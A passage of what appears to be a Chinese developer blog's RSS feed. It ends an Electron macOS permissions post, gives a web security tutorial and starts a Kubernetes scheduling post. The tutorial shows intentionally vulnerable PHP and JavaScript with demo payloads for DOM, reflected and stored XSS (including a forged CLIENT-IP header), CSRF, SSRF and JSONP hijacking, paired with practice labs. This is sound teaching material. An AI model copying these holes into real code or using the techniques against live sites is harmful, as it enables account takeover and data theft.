&lt;p&gt;那么现在我们再添加一下 &lt;code&gt;hardenedRuntime&lt;/code&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;mac:
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: 请允许本程序访问您的麦克风
    NSCameraUsageDescription: 请允许本程序访问您的摄像头
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在申请的行为需要利用 &lt;code&gt;entitlements&lt;/code&gt; 属性。代码如下:&lt;/p&gt;
&lt;p&gt;electron-builder.yml&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;mac:
  entitlements: entitlements.mac.plist
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: 请允许本程序访问您的麦克风
    NSCameraUsageDescription: 请允许本程序访问您的摄像头
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;entitlements.mac.plist&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;
&amp;lt;plist version=&quot;1.0&quot;&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.audio-input&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.camera&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/plist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是当你这么尝试的时候，会发现的应用打开会直接崩溃，亦或者根本无法正常的打包。&lt;/p&gt;
&lt;p&gt;这是因为当你开启了 &lt;code&gt;hardenedRuntime&lt;/code&gt; 来加强应用的安全性时，那么你需要把这个安全性放宽一点。也就是说你需要在 &lt;code&gt;entitlements.mac.plist&lt;/code&gt; 里在指定一下下面的属性:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit&quot;&gt;com.apple.security.cs.allow-jit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory&quot;&gt;com.apple.security.cs.allow-unsigned-executable-memory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables&quot;&gt;com.apple.security.cs.allow-dyld-environment-variables&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那么现在最终的 &lt;code&gt;entitlements.mac.plist&lt;/code&gt; 内容如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;
&amp;lt;plist version=&quot;1.0&quot;&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.cs.allow-jit&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.cs.allow-unsigned-executable-memory&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.cs.allow-dyld-environment-variables&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.audio-input&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.camera&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/plist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自此，你的 Electron App 就应该可以在 macOS 上正常申请/使用摄像头和麦克风了。&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-hardenedruntime-version&quot;&gt;
&lt;p&gt;&lt;code&gt;hardenedRuntime&lt;/code&gt; 这个属性，在 &lt;code&gt;electron-builder&lt;/code&gt; 的 &lt;code&gt;21.1.3&lt;/code&gt; 版本已经默认为 &lt;code&gt;true&lt;/code&gt; ，而在 &lt;code&gt;21.1.2 ~ 20.41.0&lt;/code&gt; 版本里，这个属性的默认值是 &lt;code&gt;false&lt;/code&gt;。再往后的版本里没有这个属性。 &lt;a href=&quot;https://bugs.cc/zh/posts/electron-app-request-camera-and-microphone-permission-by-macos/#user-content-fnref-hardenedruntime-version&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>electron</category><category>macos</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Web 安全概览</title><link>https://bugs.cc/zh/posts/web-security-overview/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/web-security-overview/</guid><description>介绍 Web 端常见的攻击手法及原理 (如: XSS、CSRF、SSRF、JSON Hijacking)。并且提供 Docker 靶场，方便根据介绍的攻击手法去实战</description><pubDate>Thu, 17 Oct 2019 12:26:07 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;介绍一下 &lt;code&gt;Web&lt;/code&gt; 端相关的攻击手法及原理，包括但不限于 &lt;code&gt;前端&lt;/code&gt; &lt;code&gt;后端&lt;/code&gt; &lt;code&gt;运维&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;本文后端语言将使用 &lt;code&gt;PHP&lt;/code&gt;，因为经过对比，&lt;code&gt;PHP&lt;/code&gt; 作为后端代码演示，是最显而易见的。&lt;/p&gt;
&lt;p&gt;以及本文介绍的所有攻击手法都将提供 &lt;code&gt;Docker&lt;/code&gt; 靶场，方便后续大家自行研究、测试。&lt;/p&gt;
&lt;p&gt;此篇文章是由我之前写的安全文章进行了部分汇总、优化及添加。如果大家比较感兴趣，可以去 &lt;a href=&quot;https://www.freebuf.com/author/Black-Hole&quot;&gt;Freebuf Black-Hole&lt;/a&gt; 看我之前写的文章。&lt;/p&gt;
&lt;h2&gt;前端 {#frontend}&lt;/h2&gt;
&lt;h3&gt;XSS&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSS&lt;/code&gt; 本质就是在别人的浏览器里执行你的 &lt;code&gt;JavaScript&lt;/code&gt; 代码，其他都是一种辅助手段。&lt;/p&gt;
&lt;h4&gt;DOM XSS&lt;/h4&gt;
&lt;p&gt;利用 JavaScript 操作 DOM 的特性，来做到攻击&lt;/p&gt;
&lt;p&gt;经常出现的情况: 前后端分离架构&lt;/p&gt;
&lt;p&gt;很多开发者，都知道不到万不得已不要使用 &lt;code&gt;eval&lt;/code&gt; 函数，不使用的原因其中一点就是不安全，但是难道不使用 &lt;code&gt;eval&lt;/code&gt; 就不会有安全问题么？答案是否定的。&lt;/p&gt;
&lt;p&gt;见下面的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script&amp;gt;
  window.open(new URL(location.hash.slice(1)).href)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为了更好的说明，我这里简单的把作用说明一下:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;假设当前 url 为 &lt;code&gt;http://baidu.com/#http://360.cn&lt;/code&gt;，那么 &lt;code&gt;location.hash.slice(1)&lt;/code&gt; 的结果就是 &lt;code&gt;http://360.cn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;new URL(url).href&lt;/code&gt; 则是会对 url 进行解析，并取出解析后的 url。如果你的 url 不满足它内部的判断，则会报错。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是不是觉得这段代码没什么问题。毕竟有 &lt;code&gt;new URL()&lt;/code&gt; 这种浏览器内置函数帮我们做了过滤。&lt;/p&gt;
&lt;p&gt;OK，那我们就要去攻破这个函数的判断。下图为 &lt;code&gt;URL&lt;/code&gt; 接口规范中的&lt;a href=&quot;https://url.spec.whatwg.org/#example-url-parsing&quot;&gt;列表&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/web-security-overview/url-parsing-spec-table.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们可以看到 &lt;code&gt;hello:world&lt;/code&gt; 是符合规范的。而且 &lt;code&gt;hello:&lt;/code&gt; 正好又是 &lt;code&gt;JavaScript&lt;/code&gt; 里的&lt;code&gt;标记&lt;/code&gt;，类似于 C 语言中的 &lt;code&gt;goto&lt;/code&gt;。那我们更改 url 为: &lt;code&gt;http://baidu.com/#javascript:alert(1)&lt;/code&gt;。则会成功触发漏洞。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/front-end/XSS/DOM-XSS&quot;&gt;Docker 靶场&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;后端 {#backend}&lt;/h2&gt;
&lt;h3&gt;反射 XSS {#reflected-xss}&lt;/h3&gt;
&lt;p&gt;因为前/后端没有做好相对应的过滤，导致的问题&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/web-security-overview/#user-content-fn-reflected-dom&quot; id=&quot;user-content-fnref-reflected-dom&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;经常出现的情况: MVC 架构&lt;/p&gt;
&lt;p&gt;因为像 &lt;code&gt;MVC&lt;/code&gt; 这种架构，其实是在后端语言中编写前端代码，在访问 url 的时候，会先由后端根据请求去构造前端页面，再返回前端源码到浏览器端，而这个过程中，如果出现了 XSS 漏洞，又因为后端参与其中，所以我们一般认为这是 &lt;code&gt;反射型XSS&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;见下面的 PHP 代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
  // 关闭浏览器的 XSS 检测机制
  header(&quot;X-XSS-Protection: 0;&quot;);

  $bg = $_GET[&apos;bg&apos;];
  if (empty($bg)) {
    $bg = &apos;999&apos;;
  }
  echo &quot;&amp;lt;div style=&apos;width: 120px; height: 120px; background-color:#$bg&apos;&amp;gt;我是一只小方块&amp;lt;/div&amp;gt;&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，这段代码将会获取 url 参数中的 &lt;code&gt;bg&lt;/code&gt; 来获取背景颜色。乍一看，好像没什么问题。但是要知道其中 &lt;code&gt;$bg&lt;/code&gt; 是可控的。那我们只需要把里面的标签闭合掉就行。见下面:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://127.0.0.1:8082/?bg=123&apos; onclick=&apos;alert(1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;上面的代码放在 &lt;code&gt;bg&lt;/code&gt; 参数里，那代码就变成了&lt;/p&gt;
&lt;p&gt;&amp;lt;div style=‘width: 120px; height: 120px; background-color:#&lt;strong&gt;&lt;code&gt;123&apos; onclick=&apos;alert(1)&lt;/code&gt;&lt;/strong&gt;’&amp;gt;我是一只小方块&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/XSS/non-persistent&quot;&gt;Docker 靶场&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;存储型 XSS {#stored-xss}&lt;/h3&gt;
&lt;p&gt;在反射 XSS 的基础上，做了一步 入库的操作&lt;/p&gt;
&lt;p&gt;见下面的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 获取客户端的 IP 地址
// 此段代码来之: https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php
$ipaddress = &apos;UNKNOWN&apos;;
$keys = array(&apos;HTTP_CLIENT_IP&apos;, &apos;HTTP_X_FORWARDED_FOR&apos;, &apos;REMOTE_ADDR&apos;);
foreach($keys as $k) {
  if (isset($_SERVER[$k]) &amp;amp;&amp;amp; !empty($_SERVER[$k])) {
    $ipaddress = $_SERVER[$k];
    break;
  }
}

// 获取内容，并对内容做编码过滤
$content = htmlspecialchars($_POST[&apos;content&apos;], ENT_QUOTES);

$sql = &quot;INSERT INTO xss.message (content, ip) VALUES (&apos;$content&apos;, &apos;$ipaddress&apos;)&quot;;
$conn-&amp;gt;query($sql);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码看起来是没有任何问题的，因为我们已经对 &lt;code&gt;content&lt;/code&gt; 参数做了进一步的编码过滤。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/web-security-overview/#user-content-fn-htmlspecialchars&quot; id=&quot;user-content-fnref-htmlspecialchars&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;那即使我们写入了 HTML 标签等代码，也会被转码，假如我们提交的内容为 &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; 那在数据库的里表现就会变成: &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那难道没有办法绕过去么？答案当然是可以。&lt;/p&gt;
&lt;p&gt;可以看到，这段代码不止把内容入库了，还把用户的 IP 也入库了。那问题就出现了，&lt;code&gt;CLIENT-IP&lt;/code&gt;、&lt;code&gt;X_FORWARDED_FOR&lt;/code&gt; 是用户可控的。只需要安装 &lt;a href=&quot;https://bewisse.com/modheader/&quot;&gt;ModHeader&lt;/a&gt; 这个浏览器插件即可如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/web-security-overview/modheader-clientip-xss.png&quot; alt=&quot;ModHeader 插件的请求头设置: CLIENT-IP 的值填成 XSS 代码 script alert(1)&quot;&gt;&lt;/p&gt;
&lt;p&gt;修改后，再去重新提交一次，就会发现已经成功入库了，如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/web-security-overview/mysql-stored-xss.png&quot; alt=&quot;xss.message 表的查询结果: 伪造 IP 后 XSS 代码未经编码直接入库&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/XSS/persistent&quot;&gt;Docker 靶场&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;CSRF&lt;/h3&gt;
&lt;p&gt;CSRF 可以理解为是一种借刀杀人的手法，一般出现在表单提交里。最常见的是出现的开源项目里，比如各类 CMS。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;form method=&quot;post&quot; action=&quot;addAdminUser.php&quot;&amp;gt;
  &amp;lt;div class=&quot;input-group&quot;&amp;gt;
    &amp;lt;label for=&quot;username&quot;&amp;gt;要添加的管理员账号: &amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;input&quot; name=&quot;username&quot;&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&quot;input-group&quot;&amp;gt;
    &amp;lt;label for=&quot;password&quot;&amp;gt;要添加的管理员密码: &amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&quot;input-group&quot;&amp;gt;
    &amp;lt;button type=&quot;submit&quot;&amp;gt;添加&amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;见上面代码，此代码存在于管理员后台里。用于添加管理员账号。并且 &lt;code&gt;addAdminUser.php&lt;/code&gt; 里是有对当前用户的 &lt;code&gt;Cookies&lt;/code&gt; 做了校验，非管理员账户不能添加。&lt;/p&gt;
&lt;p&gt;但是这个表单里没有 &lt;code&gt;验证码&lt;/code&gt; 、&lt;code&gt;Token&lt;/code&gt;，以及 &lt;code&gt;addAdminUser.php&lt;/code&gt; 里没有做 &lt;code&gt;referer&lt;/code&gt; 来源校验。&lt;/p&gt;
&lt;p&gt;就会出现 &lt;code&gt;CSRF&lt;/code&gt; 漏洞。&lt;/p&gt;
&lt;p&gt;因为浏览器发现你请求了某个资源后，会自动把你未过期的 &lt;code&gt;Cookies&lt;/code&gt; 加入到请求头里。也就是说，即使是在其他网站里，发送了添加管理员的请求，会自动把你登陆后的 &lt;code&gt;Cookies&lt;/code&gt; 加入到请求里，服务端会认为是你本人触发的（因为 &lt;code&gt;Cookies&lt;/code&gt; 校验成功）&lt;/p&gt;
&lt;p&gt;至于为什么这里 &lt;code&gt;Cors&lt;/code&gt; 没有起到作用，是因为这种方式，请求后是拿不到任何返回信息的，所以 &lt;code&gt;Cors&lt;/code&gt; 并不会拦截。如果你使用 &lt;code&gt;Ajax&lt;/code&gt; 来请求，是肯定会被拦截掉，因为 &lt;code&gt;Ajax&lt;/code&gt; 请求是可以拿到返回信息，所有会被 &lt;code&gt;Cors&lt;/code&gt; 拦截掉。&lt;/p&gt;
&lt;p&gt;那除了 &lt;code&gt;form&lt;/code&gt; 标签，还有什么方法可以进行攻击呢？在 &lt;code&gt;w3c cors&lt;/code&gt; 规范中，有这么一句话:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A &lt;a href=&quot;https://www.w3.org/TR/cors/#simple-cross-origin-request&quot;&gt;simple cross-origin request&lt;/a&gt; has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification. Simple cross-origin requests generated outside this specification (such as cross-origin form submissions using &lt;code&gt;GET&lt;/code&gt; or &lt;code&gt;POST&lt;/code&gt; or cross-origin &lt;code&gt;GET&lt;/code&gt; requests resulting from &lt;code&gt;script&lt;/code&gt; elements) typically include &lt;a href=&quot;https://www.w3.org/TR/cors/#user-credentials&quot;&gt;user credentials&lt;/a&gt;, so resources conforming to this specification must always be prepared to expect simple cross-origin requests with credentials.&lt;/p&gt;
&lt;p&gt;––详情可见 &lt;a href=&quot;https://www.w3.org/TR/cors/#security&quot;&gt;w3c cors&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里没有说的特别细，我补充了一下，大致意思是说，使用 &lt;code&gt;GET&lt;/code&gt; 或 &lt;code&gt;POST&lt;/code&gt; 进行表单提交时，亦或者使用一些 &lt;code&gt;HTML&lt;/code&gt; 标签引起的 &lt;code&gt;GET&lt;/code&gt; 请求，如: &lt;code&gt;a&lt;/code&gt;、&lt;code&gt;img&lt;/code&gt; 等，基本上都会携带用户凭据 (Cookies)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/CSRF&quot;&gt;Docker 靶场&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;SSRF&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SSRF&lt;/code&gt; 本质其实和 &lt;code&gt;CSRF&lt;/code&gt; 相差不大。只是 &lt;code&gt;CSRF&lt;/code&gt; 面向的是客户端的用户，而 &lt;code&gt;SSRF&lt;/code&gt; 面向的是服务端本身。&lt;/p&gt;
&lt;p&gt;这种漏洞一般出现于: 会访问并返回用户可控的资源的功能上。&lt;/p&gt;
&lt;p&gt;例如: &lt;code&gt;在线查看网站源码&lt;/code&gt;、&lt;code&gt;获取用户发链接的title&lt;/code&gt;、&lt;code&gt;在线翻译网页&lt;/code&gt; 等&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;script&amp;gt;
  // 根据 url 动态拼接 url
  function seeCode() {
    const url = document.getElementsByTagName(&apos;input&apos;)[0].value;
    location.href = location.origin + location.pathname + &apos;?url=&apos; + url
  }
&amp;lt;/script&amp;gt;

&amp;lt;input type=&quot;text&quot; placeholder=&quot;请输入要查看源代码的网站 URL&quot;/&amp;gt;
&amp;lt;button onclick=&quot;seeCode()&quot;&amp;gt;查看&amp;lt;/button&amp;gt;
&amp;lt;?php
  $url = $_GET[&apos;url&apos;];
  if (&quot;&quot; == trim($url)) {
    return;
  }

  // 获取内容
  $websiteCode = file_get_contents($url);

  // 转码后存入 textarea 标签里
  echo &quot;&amp;lt;textarea&amp;gt;&quot;.htmlspecialchars($websiteCode, ENT_QUOTES).&quot;&amp;lt;/textarea&amp;gt;&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，这里没有对用户的输入做任何的过滤，导致用户可以直接输入 &lt;code&gt;http://192.168.1.2&lt;/code&gt; 等 url，来访问内网资源，因为访问资源的是服务端本身，而服务端本身也是可以访问同局域网的资源的。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/SSRF/&quot;&gt;Docker 靶场&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;JSON Hijacking&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;JSON Hijacking&lt;/code&gt; 其实本质和 &lt;code&gt;CSRF&lt;/code&gt; 原理一样&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/web-security-overview/#user-content-fn-json-hijacking-principle&quot; id=&quot;user-content-fnref-json-hijacking-principle&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;这个攻击手法和 &lt;code&gt;CSRF&lt;/code&gt; 最大的不同，就是 &lt;code&gt;JSON Hijacking&lt;/code&gt; 在 &lt;code&gt;CSRF&lt;/code&gt; 的基础上，又利用了 &lt;code&gt;JSONP&lt;/code&gt; 的特性&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
  require &apos;utils.php&apos;;

  // 用户认证、并获取用户信息
  $result = getUserInfo();
  if (count($result) != 3) {
    echo &quot;&quot;;
    exit();
  }

  $fnName = $_GET[&apos;callback&apos;];
  if (&quot;&quot; == trim($fnName)) {
    echo &quot;&quot;;
    exit();
  }

	// 输出为: getInfo({&quot;name&quot;: name，&quot;balance&quot;: balance });
  echo &quot;$fnName({name: &apos;$result[0]&apos;, balance: &apos;$result[2]&apos;})&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script&amp;gt;
  function getInfo(data) {
    console.log(data); // {&quot;name&quot;: name, &quot;balance&quot;: balance}
  }
&amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;./json.php?callback=getInfo&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果有恶意攻击者，写了一个页面，并且也在网页里加入了 &lt;code&gt;&amp;lt;script src=&quot;http://xxx/json.php?callback=getInfo&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;根据上文提到的  &lt;code&gt;w3c cors&lt;/code&gt; 规范中，如果用户事先已经登陆过了，再打开恶意攻击者发的链接，那么攻击者就可以获取一些本不应该获取的敏感信息。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/JSON%20Hijacking&quot;&gt;Docker 靶场&lt;/a&gt;&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-reflected-dom&quot;&gt;
&lt;p&gt;&lt;code&gt;DOM XSS&lt;/code&gt; 也属于 &lt;code&gt;反射型 XSS&lt;/code&gt;，一般而言统称都叫 &lt;code&gt;反射 XSS&lt;/code&gt;，只有当需要划分比较细时，才会分开来。 &lt;a href=&quot;https://bugs.cc/zh/posts/web-security-overview/#user-content-fnref-reflected-dom&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-htmlspecialchars&quot;&gt;
&lt;p&gt;&lt;code&gt;htmlspecialchars(string,ENT_QUOTES)&lt;/code&gt; 此方法的编码规则为: &lt;code&gt;&amp;amp;&lt;/code&gt; 编码为 &lt;code&gt;&amp;amp;amp;&lt;/code&gt;、&lt;code&gt;&quot;&lt;/code&gt; 编码为 &lt;code&gt;&amp;amp;quot;&lt;/code&gt;、&lt;code&gt;&apos;&lt;/code&gt; 编码为 &lt;code&gt;&amp;amp;#039;&lt;/code&gt;、&lt;code&gt;&amp;lt;&lt;/code&gt; 编码为 &lt;code&gt;&amp;amp;lt;&lt;/code&gt;、&lt;code&gt;&amp;gt;&lt;/code&gt; 编码为 &lt;code&gt;&amp;amp;gt;&lt;/code&gt;。 &lt;a href=&quot;https://bugs.cc/zh/posts/web-security-overview/#user-content-fnref-htmlspecialchars&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-json-hijacking-principle&quot;&gt;
&lt;p&gt;这里的原理指的是，漏洞产生的原理一样，还是因为标签产生的请求，会携带用户凭证。 &lt;a href=&quot;https://bugs.cc/zh/posts/web-security-overview/#user-content-fnref-json-hijacking-principle&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 3&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>web</category><category>xss</category><category>csrf</category><category>ssrf</category><category>json hijacking</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>基于任务量进行 k8s 集群的灵活调度处理</title><link>https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/flexible-scheduling-of-k8s-cluster-based-on-task-volume/</guid><description>基于任务量进行 k8s 集群的灵活调度处理，以达到节省资源的目的</description><pubDate>Tue, 20 Aug 2019 06:55:19 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;最近公司内有个需求是为了进一步控制某个项目的 k8s 集群的资源，避免资源浪费。&lt;/p&gt;
&lt;p&gt;目前项目需要的资源占用率很高，需要 3 核 CPU、2G 内存。在一开始的时候是没有做灵活调度处理的。会让 &lt;code&gt;Pod&lt;/code&gt; 一直处于运行状态，即使没有任务的时候也会一直运行，虽然说可以通过 &lt;code&gt;k8s&lt;/code&gt; 下 &lt;code&gt;Resources&lt;/code&gt; 的 &lt;code&gt;Requests&lt;/code&gt; 和 &lt;code&gt;Limits&lt;/code&gt; 减少一点资源，但是还是会照成一定资源的浪费。&lt;/p&gt;
&lt;h2&gt;介绍 {#workflow}&lt;/h2&gt;
&lt;p&gt;在正文开始前，需要把流程介绍一下，方便后文的理解。&lt;/p&gt;
&lt;p&gt;首先别的部门会往数据库里插入一条数据，然后在由调度器去定期的扫数据库，扫到一个新数据，则由调度器去调用 k8s 的 api 去创建一个 &lt;code&gt;Job&lt;/code&gt; 资源，在 Job 里有一个 &lt;code&gt;Pod&lt;/code&gt;，由 &lt;code&gt;Pod&lt;/code&gt; 去做一些任务。然后结束。&lt;/p&gt;
&lt;p&gt;看起来比较简单，但是有几个需要注意的地方:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;由于 &lt;code&gt;Pod&lt;/code&gt; 是需要环境变量的，而 &lt;code&gt;Pod&lt;/code&gt; 是由调度器去创建的。那么这个时候就需要把变量一步步传进去&lt;/li&gt;
&lt;li&gt;调度器不能去更改任何的数据，只能从数据库里拿，这是为了更好的解耦。不能让调度器去关心任何的业务逻辑及数据&lt;/li&gt;
&lt;li&gt;调度器的本身不能存有任何的状态，因为一旦涉及到状态，就要去有个地方去存储它。因为要考虑到调度器本身重启。这样做只会带来更大的负担。&lt;/li&gt;
&lt;li&gt;需要考虑当前的集群是否有资源再启动 &lt;code&gt;Pod&lt;/code&gt; 了&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;开始 {#implementation}&lt;/h2&gt;
&lt;p&gt;调度器使用了 &lt;code&gt;GoLang&lt;/code&gt; 进行开发，所以后文都将使用 &lt;code&gt;Go&lt;/code&gt; 做为主力语言。&lt;/p&gt;
&lt;h3&gt;创建一个可调试的 k8s 环境 {#debug-env}&lt;/h3&gt;
